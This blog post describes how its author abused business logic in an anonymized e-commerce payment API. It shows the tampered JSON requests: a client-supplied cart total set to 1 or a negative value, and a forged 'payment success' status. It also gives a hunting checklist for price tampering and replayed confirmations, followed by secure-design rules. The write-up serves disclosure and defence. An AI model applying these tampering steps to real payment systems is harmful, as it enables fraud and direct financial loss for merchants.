This Is How I Hacked a Payment Flow Using Business Logic Abuse

spyboy's avatarPosted by

(No Code Injection, No Exploits – Just Broken Logic)

Disclaimer
This article is written strictly for educational and defensive purposes.
All applications, endpoints, prices, and identifiers are fully anonymized.
No real payments were processed or abused.
This post demonstrates why business logic bugs are more dangerous than technical bugs.


Why Business Logic Bugs Are Every Company’s Blind Spot

Ask a developer what scares them most and they’ll say:

  • SQL injection
  • RCE
  • XSS

Ask an attacker.

They’ll say:

Payments. Discounts. Refunds.

Because business logic bugs:

  • Don’t trigger security alerts
  • Look like “valid behavior”
  • Often bypass all technical defenses

💸 You don’t hack the server — you hack the rules.


Target Overview (Anonymized)

  • Type: E-commerce / SaaS platform
  • Payment flow:
    1. Add item to cart
    2. Apply coupon
    3. Checkout
    4. Payment confirmation
  • Backend: REST API
  • Gateway: Third-party payment processor

Everything looked clean.
Until I followed the money.


Phase 1: Mapping the Payment Flow (Never Skip This)

I added a product worth ₹999.

Network tab showed:

POST /api/cart/add
POST /api/cart/apply-coupon
POST /api/checkout
POST /api/payment/verify

Important rule:

Payment flows are multi-step → logic bugs live between steps


Phase 2: The First Red Flag (Client-Side Trust)

While applying a coupon, the request looked like:

POST /api/cart/apply-coupon
Content-Type: application/json

{
  "coupon": "WELCOME50",
  "cart_total": 999
}

🚩
Why is cart_total coming from the client?

That number should never be trusted.


Phase 3: Simple Manipulation (No Tools Needed)

I changed:

"cart_total": 999

to:

"cart_total": 1

Response:

{
  "discount": 50,
  "final_price": 0
}

😐
The server recalculated discount based on user-supplied price.


Phase 4: Free Checkout (Still “Valid”)

I continued checkout.

POST /api/checkout

Response:

{
  "payment_required": false,
  "order_id": 7821
}

The system thought:

“Price is zero — no payment needed”

No exploit.
No error.
Just logic.


Phase 5: Payment Verification Abuse

Even worse — I inspected the final step:

POST /api/payment/verify

Payload:

{
  "order_id": 7821,
  "status": "success"
}

Response:

{
  "order_status": "confirmed"
}

🚨
The backend trusted the client to tell it payment succeeded.


Phase 6: Unlimited Free Purchases

At this point, the attack was repeatable:

1️⃣ Add item
2️⃣ Modify cart_total
3️⃣ Apply coupon
4️⃣ Skip payment
5️⃣ Confirm order

All orders appeared:

  • Paid
  • Legit
  • Logged as normal sales

This is the most dangerous kind of bug.


Variant #2: Negative Pricing (Even Worse)

I tested:

"cart_total": -500

Response:

{
  "wallet_credit": 500
}

💀
The system credited my wallet.

This wasn’t a bug.

This was a financial exploit.


Why This Bypassed All Security

Security ControlWhy It Failed
AuthUser was logged in
HTTPSRequests were “valid”
WAFNo malicious payload
LogsLooked normal
Payment gatewayNever reached

Security tools don’t catch bad math.


Root Cause Analysis

❌ Developer Assumptions

  • Client won’t modify price
  • Frontend calculations are reliable
  • Payment gateway handles everything
  • Users won’t replay requests

Every assumption was wrong.


✅ Correct Payment Design

Golden rules of payments:

  • Server calculates all prices
  • Client sends only product IDs
  • Payment status comes from gateway webhook
  • Never trust client “success”
  • Prevent replay with nonces

Anything else is vulnerable.


How I Hunt Payment Logic Bugs (Exact Playbook)

🔍 Checklist

1️⃣ Modify prices
2️⃣ Reuse coupons
3️⃣ Skip steps
4️⃣ Replay confirmations
5️⃣ Change quantities
6️⃣ Try negative values

If money moves incorrectly — you found gold.


Tools Used

ToolPurpose
Browser DevToolsFlow mapping
Burp SuiteParameter tampering
RepeaterReplay attacks
BrainBusiness logic

Severity Assessment

ImpactLevel
Financial lossCritical
DetectionVery low
Abuse at scaleHigh
Legal riskSevere

Severity:

Critical – Direct Revenue Loss

This is why companies quietly fix these bugs.


Why These Bugs Rarely Get Reported

Because:

  • They feel “too simple”
  • Companies fear disclosure
  • Hard to explain to management
  • Logs look legitimate

But attackers love silent money bugs.


Final Thoughts

This wasn’t hacking the system.

This was:

Letting the system do exactly what it was told.

And it told itself a lie.


Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.